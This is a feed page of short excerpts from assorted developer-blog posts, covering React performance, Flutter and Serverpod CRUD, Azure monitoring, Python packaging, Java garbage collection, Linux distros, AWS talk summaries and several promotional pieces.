    Building Open-Source Reputation Management Tools: Why I Shared Our Proprietary Frameworks As the Director of Pure Reputation, I've decided to open-source many of our reputation management tools and frameworks. In this article, I'll explain why transparency matters in the reputation management industry and how these resources can help businesses protect themselves. In an era where fake reviews and online attacks are increasingly common, I believe every business should have access to basic reputation protection tools. By open-sourcing our frameworks, we're: Democratizing access to essential reputation management resources Building trust through transparency in our methodologies Encouraging collaboration and improvements from the community Helping businesses who can't afford expensive reputation management services Digital Reputation Insights This collection includes: OSINT tools for comprehensive online monitoring Getting started guides for reputation management beginners Risk assessment frameworks to identify vulnerabilities Essential tools checklist for ongoing protection These resources are perfect for: Small business owners monitoring their online presence Marketing professionals managing brand reputation Developers building reputation management tools Business consultants advising clients on digital protection Visit our GitHub organization to access all repositories. Each includes detailed documentation, contribution guidelines, and practical examples. I welcome feedback, contributions, and discussions about how we can collectively improve online reputation management for businesses worldwide. Simon Leigh Director, Pure Reputation Website | GitHub  ( 6 min )
    The Day I Learned What Actually Slows Down React Apps
    Every React developer thinks performance issues come from the backend—until they learn the truth. I learned mine in the middle of a sprint where the backend team kept saying, “API is fast… the UI isn’t.” They were right. A junior dev pinged me: “Why does our UI freeze if the API is super fast?” I opened the Profiler. One component—just one—was re-rendering 19 times for one change. We didn’t have a slow API. We applied: React.memo for components with stable props Debounced handlers Avoided object spreading Lazy loading Bundle splitting The fix wasn't magic. It was discipline. 32% faster load. React performance isn’t about doing “more”. It’s about avoiding the unnecessary.  ( 6 min )
    Full-Stack Mobile Development (Flutter + Serverpod) #4 - Task CRUD Operations
    Hey, Flutter fam! Episode 4 of our Flutter x Serverpod series is here! Last time we integrated authentication: login, registration, reset/forgot password, validation code, and secure Home screen. If you're signed in and staring at an empty task list right now… perfect. Today, we're filling it with secure CRUD operations for our fintech to-do app. We're creating, reading, updating, and deleting trade alerts that are fully owned by the logged-in user, with validation to prevent anyone from entering a negative amount. By the end, your app will feel production-ready, complete with empty states, loading spinners, error toasts, and more. Let's build! Subscribe and let's code! 🚀 FOR BETTER UNDERSTANDING, REFER TO THE YOUTUBE VIDEO. First, our Task model  In fintech_todo_server/lib…  ( 9 min )
    How I Vibe Coded a Custom Telegram Downloader (Because Browser Throttling is the Worst)
    We have all been there. You find a course file, a movie, or a project archive on Telegram that is over 1GB. You start the download via the Web or Desktop client, watch the progress bar pick up speed, and then you make the mistake of switching tabs or walking away to grab a coffee. Ten minutes later, you check back. The progress bar hasn’t moved. The speed is 0 B/s. The download is stuck at 99%. That gigabyte of data you successfully pulled is now a useless, orphaned file, forcing you to start the transfer from scratch. While reading about this, realized the problem isn’t that Telegram is slow. The problem is that browsers and OSs hate long-running background tasks. So, I created TeleDM (Telegram Download Manager). It solves this fundamental frustration by providing a robust, “fire and forg…  ( 8 min )
    Building an End-to-End Monitoring Architecture in Azure for a Multi-Service Product
    A scheduled data collection service that crawls external sources An API service that processes, transforms, and serves enriched data To ensure uninterrupted operations, a full-stack monitoring architecture was developed on Azure covering everything from infrastructure metrics to business KPIs, with automated alerting routed directly into Slack. This post breaks down the layers of that monitoring system and the principles behind its design. Both services run on Azure App Service. Azure provides extensive diagnostic categories, and every relevant category was enabled to maximize visibility: ✔ HTTP Logs ✔ Console Logs ✔ Application Logs ✔ Access Audit Logs ✔ IPSecurity Audit Logs ✔ Platform Logs ✔ Authentication Logs ✔ AllMetrics (CPU, Memory, Connections, Threads) All logs flo…  ( 8 min )
    JavaScript Clean Code Mastery: Part 2 - Functions That Do One Thing Well
    Welcome Back, Code Cleaners! In Part 1, we mastered meaningful variable names and killed the var keyword forever. Today, we're tackling the heart of clean code: functions. I once wrote a 250-line function called processUserData(). It validated, transformed, saved to database, sent emails, logged activities, and made coffee (okay, not that last one). When a bug appeared, I spent 4 hours finding it in that monster function. Never again. Today's Mission: Write small functions that do ONE thing Master arrow functions (and avoid common mistakes) Name functions like a pro Make your code self-documenting Let's transform those god functions into clean, testable masterpieces. The Golden Rule: If you can't describe what a function does in one sentence without using "and", it's doing too much. func…  ( 13 min )
    How TV Ad Sales Work: A Complete Overview
    Television advertising has been a cornerstone of marketing for decades, launching brands into households across the globe. But how do those commercials actually make it onto our screens? The process behind television advertising sales is a complex interplay of networks, advertisers, and agencies, involving intricate negotiations and strategic planning. The world of TV advertising involves several key participants, each with a distinct role in the buying and selling process. At the top of the chain are the networks (like NBC, CBS, or ESPN) and local broadcast stations. They are the content creators and distributors who own the advertising inventory—the commercial breaks during their programming. Their primary goal is to sell this airtime to advertisers for the highest possible price. Their …  ( 9 min )
    First Release to My CLI Tool
    The Beginning: "How Hard Could It Be?" After successfully building my RepositoryContextPackager tool with CMake and getting CI/CD working across Windows, macOS, and Linux, I thought, it is going to be smoother experience. At the end of the day I did my release to my RepoContextPackager, but the path to get there was much harder than expected. Looking back, I should have stuck with purely making Releases on my repo from the start. I started by creating custom overlay ports for vcpkg. The structure seemed straightforward: ports/ └── repositorycontextpackager/ ├── portfile.cmake └── vcpkg.json Every time I made a commit and created a new tag, I had to update the REF in portfile.cmake, set SHA512 0 as a placeholder, then run ./vcpkg install repositorycontextpackager --overlay-port…  ( 7 min )
    Why Data Analytics Has Become the Most Important Skill in Today’s Job Market
    Every business today runs on data. From customer behavior to market trends, companies rely on analytics to make accurate decisions. As a result, Data Analytics has become one of the most demanded skills in industries such as IT, finance, marketing, and HR. A well-designed data analytics course equips you with essential tools like Excel, SQL, Power BI, and Python, helping you analyze complex data and generate valuable insights. Companies are hiring skilled analysts to convert raw data into meaningful strategies. Data Analytics is also a very beginner-friendly career path. Even without a technical background, learners can quickly understand and build strong foundations through structured training. The field offers fast career growth, stability, and excellent salary potential. How a Data Anal…  ( 7 min )
    Forex vs Stocks: Which Benefits Most from AI Trading Tools?
    Artificial intelligence is reshaping financial markets, and traders across the world are adopting AI-driven tools to improve decision-making, automate execution, and analyze market data more efficiently than ever. Among the many investment markets, forex and stocks stand out as two of the largest and most frequently traded. But when it comes to leveraging AI—which market benefits the most? Let’s break it down. Understanding the Markets Before comparing AI’s impact, it’s important to understand the characteristics of each market. Forex Market Trades global currency pairs (e.g., EUR/USD, GBP/JPY) Operates 24/5 without centralized exchanges Highly liquid with trillions in daily volume Driven by macroeconomic factors like interest rates, geopolitical events, and central bank policies Stock Ma…  ( 7 min )
    Reducing Ticket Backlog with Smarter Help Center Navigation
    When support teams face a growing ticket backlog, the issue often isn’t product complexity—it’s navigation. If users can’t find answers on their own, even simple issues turn into support tickets. Smarter help center navigation gives customers a clearer path to self-service and helps teams cut down repetitive, unnecessary tickets. In this post, let’s explore how better navigation reduces ticket volume, improves customer satisfaction, and supports a healthier support workflow. A help center succeeds when customers can reach the right answer fast. When navigation is unclear, they get stuck, bounce, or submit a ticket. Common signs that navigation needs improvement: Users clicking multiple categories before finding the right one Repetitive tickets tied to topics already covered High internal…  ( 8 min )
    What is AI Ethics and Bias: Examples & How to Build Responsible AI
    In 2023, a healthcare algorithm used by hospitals across America was found to systematically discriminate against Black patients, denying them critical care that white patients with identical health conditions received. The algorithm wasn't programmed to be racist. It simply learned from historical data that reflected existing healthcare disparities. This is the hidden danger of AI bias, and it's why AI ethics has become one of the most critical conversations in technology today. As artificial intelligence systems make increasingly important decisions affecting millions of lives, from determining who gets hired to who receives medical treatment, understanding AI ethics and bias isn't just an academic exercise. It's a fundamental responsibility for anyone building, deploying, or using AI sy…  ( 18 min )
    AI Monetization Made Easy: How Monetzly Powers Developer SDKs
    Why 90% of AI Apps Fail to Monetize Effectively: Enter Monetzly In the rapidly evolving landscape of AI applications, the promise of innovation often comes with a harsh reality: 90% of AI apps struggle to find sustainable monetization models. This is largely because many developers are caught in a cycle of subscriptions and paywalls that disrupt user experience. But what if there was a way to turn this around? Enter Monetzly—the Google Ads for AI conversations. As developers, we pour countless hours into creating intelligent applications that enhance user experiences. However, without a clear path to revenue, many of these innovations remain untested and underfunded. Monetzly offers a dual-earning model that not only allows developers to monetize their apps but also enables them to earn …  ( 7 min )
    Exploring the Benefits of n8n AWS Integration for Enhanced Workflow Automation
    In today’s digital landscape, businesses strive to stay ahead by embracing automation to increase efficiency and reduce human error. n8n, an open-source automation tool, combined with AWS (Amazon Web Services), offers a powerful solution for integrating cloud-based services with automated workflows. This article will explore how the n8n AWS integration can help businesses enhance their workflow automation and boost productivity. What is n8n and Why is It Essential for Workflow Automation? n8n is an open-source automation platform that allows users to create complex workflows by connecting various apps, services, and APIs. It’s different from other automation tools because it gives users the flexibility to customize and extend workflows based on their specific needs. With a visual interfa…  ( 9 min )
    The Role of Social Profiles in Strengthening Brand SEO
    Search engine optimization has significantly evolved over the past decade, but one element remains central to every brand’s visibility journey: trust. Search engines reward brands that appear credible, relevant, and active across the digital landscape. While traditional SEO focuses on technical performance and content quality, an often overlooked yet powerful contributor is the role of social profiles. Today, social media is far beyond a communication platform — it’s a search engine, brand validator, and authority signal all at once. Understanding how social profiles influence SEO can unlock new layers of growth for brands trying to win both ranking positions and consumer attention. In a world where customers can discover a business on Google, Instagram, YouTube, or LinkedIn with equal lik…  ( 14 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins takes a hilarious, sin-counting stroll through this fun, action-packed hybrid of K-pop and demon-hunting. Expect playful jabs at the movie’s quirks, catchy one-liners and the signature CinemaSins style as they tally up every “sin” in under 16 minutes. Beyond the video, you can dive deeper into CinemaSins via their main site, Linktree and social channels—plus a quick sinful poll, a Patreon for extra love, and community hangouts on Discord and Reddit. Follow the writers on Twitter and Instagram, and don’t miss Jeremy’s new book if you’re craving more behind-the-scenes fun! Watch on YouTube  ( 6 min )
    Goodbye Green Screen: Why AI Background Removal Outperforms Traditional Editing
    For years, green screens were the standard way to remove backgrounds. They worked, but only if you had perfect lighting, studio space, and time for cleanup. Today, AI background removal has stepped in—and it’s outperforming traditional methods in almost every way. AI doesn’t need a special backdrop. It doesn’t need controlled lighting. And it doesn’t leave behind strange green edges or color spill. Just upload an image, click once, and the background is gone. Clean. Fast. Consistent. Before AI, removing backgrounds meant setting up a bright green backdrop and hoping for the best. You had to manage: Lighting Shadows Color contamination Manual keying in post-production Green screens made things possible, but they also limited creators and slowed teams down. AI works in any environment—indoor…  ( 7 min )
    Be a Responsible Code Reviewer
    When you work with different teams long enough, you start noticing something meaningful: Good code reviews don’t just improve the code—they strengthen teams, culture, and the way we write applications. Think about it... That's where we actually teach each other new tricks / ways, share our best practices, and make sure we're all building something awesome, maintainable and reliable. Let’s take a clear look... what a helpful, responsible code review really looks like. I am going to dig into the everyday's habits we fall into — the good ones and the ones that slow us down — and let's figure out better ways to handle them. Code reviews aren’t only about catching typos. They protect the applications’s correctness, design, and future maintainers. Let’s analyze few of the reasons... Sometimes th…  ( 10 min )
    UK Unleashes New Cybersecurity Bill: Fortifying Digital Defenses After $28M Crypto Fraud
    UK Unleashes New Cybersecurity Bill: Fortifying Digital Defenses After $28M Crypto Fraud The digital landscape is constantly evolving, bringing with it both unprecedented opportunities and increasingly sophisticated threats. In a decisive move to bolster its defenses, the UK government has introduced a groundbreaking new bill aimed at significantly strengthening cybersecurity and imposing stricter regulations on technology service providers. This legislative push comes directly on the heels of extensive investigations into the colossal $28 million Basis Markets crypto fraud, a case that has sent ripples across the financial and tech sectors. The primary objective of this ambitious initiative is clear: to safeguard citizens and businesses from the relentless barrage of digital threats that …  ( 9 min )
    Building Streaming Iceberg Tables for Real-Time Logistics Analytics
    Speaker: Fahad Shah @ AWS Amarathon 2025 Summary by Amazon Nova Modern Logistics Challenges: Managing multiple streams for trucks, drivers, routes, fuel, maintenance, shipments, and warehouses. Need for real-time operational views and long-term analytics. Data Storage Requirements: Fresh, joined views for immediate operations. Use of Apache Iceberg for long-term analytics. Technology Stack: RisingWave: Data platform for streaming capabilities. Lakekeeper: Open REST catalog for data management. Kafka: Event backbone for streaming data. Object Storage (e.g., MinIO): Storage solution for data. Objective: Demonstrate how to build streaming Iceberg tables using the specified open stack. Provide a simple and effective solution for modern logistics data management. The Log…  ( 9 min )
    Connecting the World Through Open Source: Practical Journey of Technology, Community and Global Developer Relations
    Speaker: Richard Lin @ AWS Amarathon 2025 Summary by Amazon Nova Open source is characterized as a cross-border collaboration method rather than a mere technical option. Engineers from different parts of the world can become collaborators through open source, despite never having met. For hackers, open source represents a shared journey and a means to contribute to a collective effort. For commercial projects, open source signifies an opportunity to engage with a global community and enhance product-market fit. The globalization of technology is driven by reputation, relationships, and trust, emphasizing "actions speak louder than words." The concept of "Community Over Code" highlights the importance of long-term community building. Developers are influenced more by neutral, tr…  ( 7 min )
    AI & Development: Avoiding Common Traps
    Seamlessly Handling PrestaShop's Dynamic DB Prefixes with Doctrine Developing modules for PrestaShop using Doctrine can often lead to a perplexing issue: the dreaded "Base table or view not found" error, even when you're certain your table exists. This common pitfall arises because PrestaShop dynamically prepends a prefix to its database tables, a detail Doctrine's default behavior overlooks. Having navigated PrestaShop development for over 15 years, I've seen this specific problem derail countless projects. Today, I'm excited to share an elegant and robust method to resolve this using a custom Doctrine event subscriber. Picture this scenario: You've meticulously crafted your Doctrine entity with precise annotations, and you fire off your inaugural query. Suddenly, you're greeted with a …  ( 10 min )
    Architecting for Efficiency and Reliability with Performance Testing at Scale
    Speaker: Luis Guirigay @ AWS Amarathon 2025 Summary by Amazon Nova Testing Categories: Code Testing: Code Analysis, Unit Testing Integration & Interface: Contract Testing, Interface Testing Functional: User Acceptance, Regression Testing Non-Functional: Performance Testing, Chaos Engineering End-to-end Testing: Comprehensive testing covering all aspects Performance Metrics: Load: System performance under expected usage Stress: Evaluate system behavior under extreme load conditions Endurance: Sustained load testing to identify long-term issues Scalability: Measuring performance under growing user/transaction volume Spike: Rapidly increasing or decreasing load to assess resilience and behavior Volume: Evaluates the impact of handling large amounts of data Measurement …  ( 7 min )
    Kopia: Giải pháp sao lưu mã nguồn mở hiệu quả
    Kopia: A Comprehensive Open-Source Backup Solution for Modern Developers In the realm of data management, robust and reliable backup solutions are paramount. Kopia stands out as a free, open-source, and cross-platform utility meticulously designed for Linux, macOS, and Windows environments. It empowers users with a sophisticated yet accessible toolset for safeguarding their digital assets. *Core Functionalities: Rapid Incremental Backups: Kopia excels at performing quick incremental backups, ensuring that only the changed data is backed up, thereby saving time and resources. This feature is crucial for frequent backup schedules. Client-Side End-to-End Encryption: Data security is a top priority. Kopia implements robust client-side end-to-end encryption, guaranteeing that your sensitive information remains confidential and protected from unauthorized access, even before it leaves your local environment. Compression: To optimize storage space and reduce the overall size of backups, Kopia incorporates efficient compression algorithms. Data Deduplication: Kopia intelligently identifies and eliminates redundant data across backups, further enhancing storage efficiency and minimizing the amount of space required. Accessibility and Usability: As an open-source project, Kopia benefits from community contributions and continuous development, making it a dynamic and evolving solution. It represents a significant contribution to the open-source ecosystem, providing essential data protection capabilities without the cost barrier. Stelixx #StelixxInsights #IdeaToImpact #OpenSource #BackupSolution #Tech #DataProtection #Linux #macOS #Windows #DevTools #Programming #Development  ( 7 min )
    Newsletter section #grid #scss
    Check out this Pen I made!  ( 5 min )
    My First Software Release: Repo-Context-Packager
    Releasing software sounds simple in theory, but I quickly learned how many small decisions are involved in making an app usable by real people. For my Repo-Context-Packager project, I needed to choose a release method that would allow non-developers to install and run the tool with as little setup as possible. Since this is a C++ command-line program with no external dependencies, I initially experimented with Conan, a package manager for C++ projects. However, I ran into installation and PATH issues on Windows, and I realized that using a package registry was adding unnecessary complexity. Instead, I chose a more direct and user-friendly approach: distributing a prebuilt executable through GitHub Releases. This gave me a simple and reliable way to make the tool available to anyone with a …  ( 7 min )
    🧹 The Garbage Collector of Java City — A Story About Memory and Mess
    Welcome to Java City — a place where objects live, work, and sometimes… get forgotten. Every time you write: new Employee("Shweta"); You’re actually building a house in Java City and moving someone in — in this case, Employee Shweta. Thousands of such objects are created every day — Employees, Invoices, Strings, Lists… At first, everything is fine. Each object has a place to live. No one remembers them anymore. 🧍‍♂️ The Forgotten Citizens An old UserSession that’s no longer active. All these are forgotten citizens of Java City — still occupying homes, but no one knows they’re there. Left unchecked, the city would soon run out of land — 🧹 The Arrival of the Garbage Collector That’s when the Garbage Collector (GC) arrives — He walks through every street, checking: “Is anyone still referencing this house?” If no one answers — the GC marks that house for demolition. No ceremony. No drama. Just quiet cleanup. ⚙️ The GC’s Secret Art — Mark and Sweep It’s not random destruction. Mark phase: Sweep phase: This process keeps the city alive and thriving — without developers manually deleting anything. 💡 The Modern Twist — Different Neighborhoods Java City has multiple zones: Young Generation → Where new objects are born. Old Generation → Where long-living ones settle. Metaspace → Where class definitions live. The GC behaves differently in each area: ⚠️ When the GC Gets Overworked Even the best janitor has limits. If you keep creating new objects faster than GC can clean up — You’ll see pauses, lag, even stop-the-world events — That’s when tuning memory, reducing object creation, and reusing resources become crucial. 💬 The Moral The Garbage Collector isn’t magic — it’s your ally. It saves you from the chaos of manual memory management. So the next time your app slows down, “I’m cleaning as fast as I can.” 🧹 👩‍💻 About the Author Shweta is a Technical Lead who explains backend and cloud concepts through simple, story-driven examples and real-world developer insights.  ( 7 min )
    🚀 Code Tracker AI™ — A Smarter, Healthier Way to Build Software
    🧠 What Is Code Tracker AI™? Code Tracker AI™ is an AI-powered development companion built to be ethical, private, and genuinely useful. ✨ Core Features ✨ AI Code Insights 🖼️ Current UI Prototype (Evolving) CODE TRACKER AI—current UI design (active development). It’s built for developers who want clarity and flow—not chaos. 🎨 A New Website That Matches the Vision The new site is designed to feel like the actual product: Dark, developer-first aesthetics Smooth animations Interactive panels Feature-rich walkthroughs Updated branding Cleaner navigation You can now understand the mission of Code Tracker AI in seconds—and dive deeper into the details with ease. 🧬** Why I’m Building This Developers deserve tools that don’t just push output but protect your mind, time, and intellectual property. Code Tracker AI™ focuses on: ✔ Reducing burnout This isn’t another “AI assistant.” 🛠 What’s Coming Next Here’s what’s currently on the roadmap: 💬 Code Tracker AI Assist (Built-in chat—no third-party integrations required) If you want early access, updates, and priority invites when the JetBrains plugin goes live: 👉 Join the waitlist: https://codetrackerai.com/ Early testers will receive: Access to the beta Influence on features Direct founder communication Early adopter benefits ❤️ Thank You Thank you to everyone who’s supported this project. If you’re a developer who cares about your workflow and wellness, this was built for you. Thanks, mona@codetrackerai.com  ( 7 min )
    Daily Times - Classic Newspaper Homepage Template
    Check out this Pen I made!  ( 6 min )
    From image to HTTPS endpoint in one step with ECS Express Mode
    Amazon ECS: From EC2 Managed to Express Mode Amazon ECS has evolved significantly over the years—from managing EC2 container instances manually, to the introduction of Fargate for serverless containers, making infrastructure management seamless. For developers or anyone new to containers, the priority is deploying applications at pace without complexity. Recently, AWS introduced ECS Managed Instances to simplify launching workloads further. Now the big leap is ECS Express Mode. Express Mode lets you deploy containerized applications in a single step. Upload your container image from Amazon ECR, optionally specify basic resources like vCPU and memory, or skip resource input to use defaults. Express Mode automatically provisions all necessary AWS infrastructure for you: Application Load Ba…  ( 8 min )
    Understanding the Transaction Lifecycle: A Deep Dive into Hedera SDK Documentation
    As part of my ongoing contributions to the Hedera SDK Python project, I recently tackled issue-864, which involved creating a beginner-friendly documentation page explaining the transaction lifecycle in the Python SDK. This was my latest Pull Request, and it provided an excellent opportunity to deepen my understanding of Hedera's transaction mechanics while improving the project's developer resources. I'll walk through what I did, the process I followed, the lessons learned, and how this fits into my overall progress toward mastering open-source contributions. SDK users often grasp what transactions do: creating accounts, minting tokens but struggle with how the transaction lifecycle works in the Hedera Python SDK. The typical flow isn't always intuitive, especially for newcomers. Users mi…  ( 7 min )
    Optimizing Your Workspace: Lessons Developers Can Take from the Kitchen
    As developers, we spend most of our day optimizing code, automating processes, and thinking about efficiency. But here’s a twist: sometimes, the same principles we apply to software can make our physical workspace more productive too. Take the kitchen, for example. It might sound unrelated, but a cluttered sink and disorganized counters are basically the technical debt of real life. Messes pile up, small tasks become frustrating bottlenecks, and efficiency drops. Just like in coding, prevention is better than firefighting. I recently discovered a concept that works both in code and in the kitchen: modular organization. In software, modularity keeps your code clean, reusable, and scalable. In a kitchen, it’s about giving every item its dedicated “module.” A sponge has a spot, dishcloths have racks, and everything else has a home. Tools like this bring this philosophy to life in the kitchen — a simple magnetic holder or drying rack instantly reduces friction in your daily workflow. The lesson is clear: whether it’s digital or physical, small, deliberate systems reduce mental load. Developers love automation, but sometimes the “manual automation” of organizing your physical space can save hours of frustration. Just like refactoring messy code, reorganizing your desk or sink area has outsized benefits for efficiency and mental clarity. So next time you’re debugging a gnarly function or dealing with merge conflicts, glance at your surroundings. A clean, structured environment can actually make your brain work better. And if your kitchen sink is part of your dev workspace (hello, remote workers!), a few smart tools from Happy Sinks can keep that area just as optimized as your codebase.  ( 7 min )
    Daily Tech News Roundup - 2025-11-22
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    What if AI does my job How Q Developer CLI and Kiro have changed my daily routine
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    Why Ergonomics Matters for Developers (and How Small Tools Can Make a Big Difference
    If you spend 8–12 hours a day in front of a screen, you know the struggle is real: sore wrists, tight shoulders, and that slow, creeping back pain that makes debugging a minor nightmare feel like climbing Everest. As developers, we often obsess over code quality, deployment pipelines, or the latest framework—but we forget the most important part of our “stack”: our bodies. Long hours at a desk are brutal on your joints, and poor ergonomics can silently tank your productivity. Trust me: no amount of caffeine or standing desk upgrades can fully compensate for neglected ergonomics. You might not realize it, but simple movements like typing, scrolling, or lifting your laptop or monitor can affect wrist and forearm health. Over time, this can lead to chronic discomfort—or worse, repetitive stra…  ( 8 min )
    Five Hard Lessons from Five Years of So-Called Serverless Databases
    Speaker: Renato Losio @ AWS Amarathon 2025 Summary by Amazon Nova Five Hard Lessons from Five Years of So-Called Serverless Databases Serverless is not Serverless. Or Vice Versa? Introduction of serverless databases on Amazon Web Services Aurora Serverless v1 GA (2018-08) DynamoDB On-Demand (2018-11) Amazon Timestream (2020-09) Aurora Serverless v2 Preview (2020-12) Aurora Serverless v2 GA (2022-04) Redshift Serverless (2022-07) Amazon Neptune Serverless (2022-10) ElastiCache Serverless (2023-11) Amazon DSQL (2025-05) DocumentDB Serverless (2025-07) What about... Amazon S3 Amazon SQS Amazon Route 53? Storage is Underrated Aurora Serverless v2 scales instantly to support even the most demanding applications, delivering up to 90% cost savings compared to p…  ( 7 min )
    Unlocking TrendRadar: AI-Powered News Analysis
    Introduction TrendRadar is an innovative tool designed to simplify news monitoring and analysis. With the ability to track 35 platforms, including Douyin, Zhihu, and Bilibili, it provides a comprehensive overview of current trends and sentiment. In today's information age, staying updated with the latest news and trends can be overwhelming. Manual tracking and analysis of news from multiple sources is time-consuming and prone to errors. TrendRadar offers a solution to this problem by leveraging AI to analyze news and provide insights. Its key features include: Multi-platform tracking: Monitor news from 35 platforms in real-time AI-powered analysis: Utilize natural language processing to extract insights and trends Customizable notifications: Receive updates via enterprise WeChat, personal WeChat, Feishu, DingTalk, Telegram, email, or ntfy Easy deployment: Deploy TrendRadar in 30 seconds via web or 1 minute via mobile, no coding required ## Code Snippet To get started with TrendRadar, users can deploy it using Docker. Here's an example of how to run TrendRadar using Docker: docker run -d --name trendradar -p 8080:8080 sansan0/trendradar TrendRadar is a powerful tool for news monitoring and analysis. Its ability to track multiple platforms and provide AI-powered insights makes it an invaluable resource for individuals and organizations looking to stay informed about the latest trends and sentiment. Analysis by AEGIS Protocol  ( 6 min )
    Rick Beato: Where Have All The Metalheads Gone?
    Where Have All The Metalheads Gone? dives into the past, present and future of heavy metal, exploring why the scene feels so different these days and where it might be headed next. Huge shout-out to the Beato Club supporters—Justin Scott, Terence Mark, Jason Murray, Lucienne Kilpatrick, Alexander Young, Jason Wagner, Todd Ladner, Rob Kline, Nicholas Long, Tim Benson, Leonardo Martins da Costa Rodrigues, Eddie Perez, David Solomon and many more—whose support keeps the metal conversations rolling. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    TL;DR CinemaSins is back on the yellow brick road, mining all the sins in The Wiz now that Wicked’s making a splash in theaters again. Expect their trademark snark, nitpicks and a speedy teardown of every questionable moment in under 15 minutes. Want more sinful content? Hit up their website, socials, Discord or Reddit; fill out their poll; or become a patron. The video’s crew is Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—and they’ve got all the links you need in their link tree. Watch on YouTube  ( 6 min )
    I built AppInfo - see what apps are actually doing on your phone 📱
    Just dropped my baby on the Play Store – here’s the link upfront (no scrolling required): https://play.google.com/store/apps/details?id=thanh.pro.appinfo What it does (the short version): 🛡️ Explains permissions in plain English: Stop guessing what a permission does. Just tap it for a simple explanation of the risk. 🖼️ Exports a "stat sheet": Creates a clean PNG image of an app's entire tech info and permissions list. Great for bug reports. 🤓 All the nerd stats: Package name, Target SDK, install times, and all that good stuff. It's got a clean Material 3 design, full dark mode, and actually respects your privacy because it can't even connect to the internet. Would love for you to try it out and let me know what you think!  ( 6 min )
    Common Coding Mistakes at Every Level (And How to Fix Them)
    There's this moment that happens to every developer—usually around 2 AM, bathed in the cold glow of a monitor, fingers hovering over the keyboard like a pianist about to perform Rachmaninoff—when you realize that the bug you've been hunting for three hours was caused by a typo. Not even an interesting typo. Just a missing semicolon, or a variable named uesr instead of user. And in that moment, you feel the entire weight of human fallibility pressing down on your shoulders. I've been writing code for longer than I care to admit, and here's what I've learned: we all make mistakes. Every single one of us. The junior developer who just finished their bootcamp, the mid-level engineer grinding through their third microservice migration, the senior architect who's forgotten more programming langu…  ( 53 min )
    Python Registry Pattern: A Clean Alternative to Factory Classes
    Every codebase has that one factory/builder nobody wants to touch. It starts out innocent, but two years and ten features later, it's mutated into a 500-line if-else monstrosity: class FishFactory: def create_fish(self, fish_id: int, water_type: str, depth: int, is_holiday: bool) -> Fish: if fish_id == 1: return ClownFish() elif fish_id == 28: # TODO: have Brian fix this later - 06/12/2016 if water_type == "SALT" or water_type == "SALTY": return BlueTang() elif water_type == "FRESH": return RoboticBlueTang() elif fish_id == 3: if depth > 100: return DeepSeaGramma() elif is_holiday: return RoyalChristmasGramma() elif …  ( 13 min )
    Understanding Linux distros (and how to pick one)
    "Top 10 distros for gaming" These are the type of articles that show up when you're a new user trying to switch to Linux. Most of the time, such articles don't make the distinction between distros clear enough that users can compare them. This article aims to break down the basic components that make up a Linux distro, and see how popular distros differ in these aspects. While there are lots of components that shape a distro, I'll be focusing on the main ones that matter to a new user: desktop environment package manager package freshness display server This is the "frontend" of the distro. It's the GUI components that you interact with, such as the taskbar, the window decorations, the tab switcher, and so on. Most desktop environments can be classified as either Qt or GTK-based. When pi…  ( 11 min )
    Packaging and Releasing ContextWeaver for Lab 9
    For my lab, I worked on my repo ContextWeaver and I used Python’s packaging tools and published my project on TestPyPI using build and twine, since Python packages are all managed through PyPI and TestPyPI. The process was pretty detailed. I had to reorganize my code into a proper src/contextweaver structure, create a pyproject.toml with all the metadata, bump versions every time I re-uploaded, build the package using python -m build, and then upload it with twine. I learned a lot about how strict packaging actually is especially versioning (you can’t reuse a version, or TestPyPI will reject it), and how the description shown on PyPI actually comes from your README.md. My “aha” moment was realizing that I had to update the version and pull the changes locally before rebuilding, otherwise I’d keep uploading the wrong version. I didn’t need to change my code logic, but I did have to clean up my file structure and add installation sections to my README so it made sense for real users. For user testing, I asked my friend to follow only the README, and they immediately got confused about installation, Python version, and how to run the CLI. I took notes and updated the README to include installation (pip install), Python 3.10+ requirement, CLI examples, and troubleshooting. Now users can install my project with a simple pip install contextweaver, and they can run it using commands like contextweaver . -o snapshot.txt. Overall, the release process forced me to think about how a real user would experience my project, and updating the documentation made a huge difference.  ( 6 min )
    Release 0.3 — Normalizing Unicode for Event Text
    For my second PR, I worked on improving Unicode handling across event data, specifically addressing a bug where diacritics and accented characters were displaying incorrectly in event summaries, descriptions, and locations in Open Web Calendar project. This issue affected international users whose calendars contained characters like á, ñ, ü, and ø. To fix this, I explored the ICS conversion process in events.py, added a normalization function using Python’s unicodedata.normalize("NFC"), and made sure it applied consistently to all text fields before being passed to the frontend. This required reading through the ICS parser, learning how the project structures event data, and testing with sample ICS files that contained accented characters to verify the fix. Compared to my earlier assignments, this PR felt more like real open-source work, debugging a subtle data-handling issue, updating backend code, and manually validating changes across the UI. This contribution helped me get comfortable modifying a larger codebase and taught me how to approach encoding problems that don’t always produce obvious errors but have a real impact on user experience.  ( 6 min )
    Release 0.3 — Fixing All-Day Events Displaying as Two Days
    For my first PR in Release 0.3, I decided to fix an issue in the Open Web Calendar project where all-day events were showing incorrectly as two-day spans. This bug had been reported by multiple users and required me to go deeper into the frontend event-rendering logic in calendar.js. I started by running the project locally, comparing real ICS behavior, reading the DHTMLX scheduler documentation, and tracing how the app determines whether a start and end time represent a one-day duration. Eventually I discovered that ICS all-day events use an exclusive end date, which meant the calendar was interpreting them as starting at midnight on Day 1 and ending at midnight on Day 2. My fix adjusted the date-handling logic so that if both timestamps begin at 00:00, the end date is automatically shifted back by one day. I tested this using multiple ICS files and confirmed that the calendar now displays all-day events cleanly as a single day. This PR pushed me to analyze JavaScript code more deeply than I did in Release 0.2, and it helped me better understand how calendar systems handle date boundaries.  ( 6 min )
    Unlocking Speed: Certified Symmetry Breaking with Auxiliary Variables
    Unlocking Speed: Certified Symmetry Breaking with Auxiliary Variables Imagine coordinating thousands of servers in a massive data center. Now, picture ensuring they're all running the most efficient tasks without any redundancy, a feat previously plagued by uncertainty. Symmetry breaking, a critical optimization technique, makes this possible, but ensuring its correctness has always been a challenge. That's where this new approach changes everything. At its core, this breakthrough introduces a novel way to represent the order of operations during symmetry breaking. Instead of relying on bulky, unwieldy large integers to define these relationships, the new method uses a system of 'helper' variables. These auxiliary variables streamline the representation, leading to significantly faster c…  ( 7 min )
    React Suite v6: A Steady Step Toward Modernization
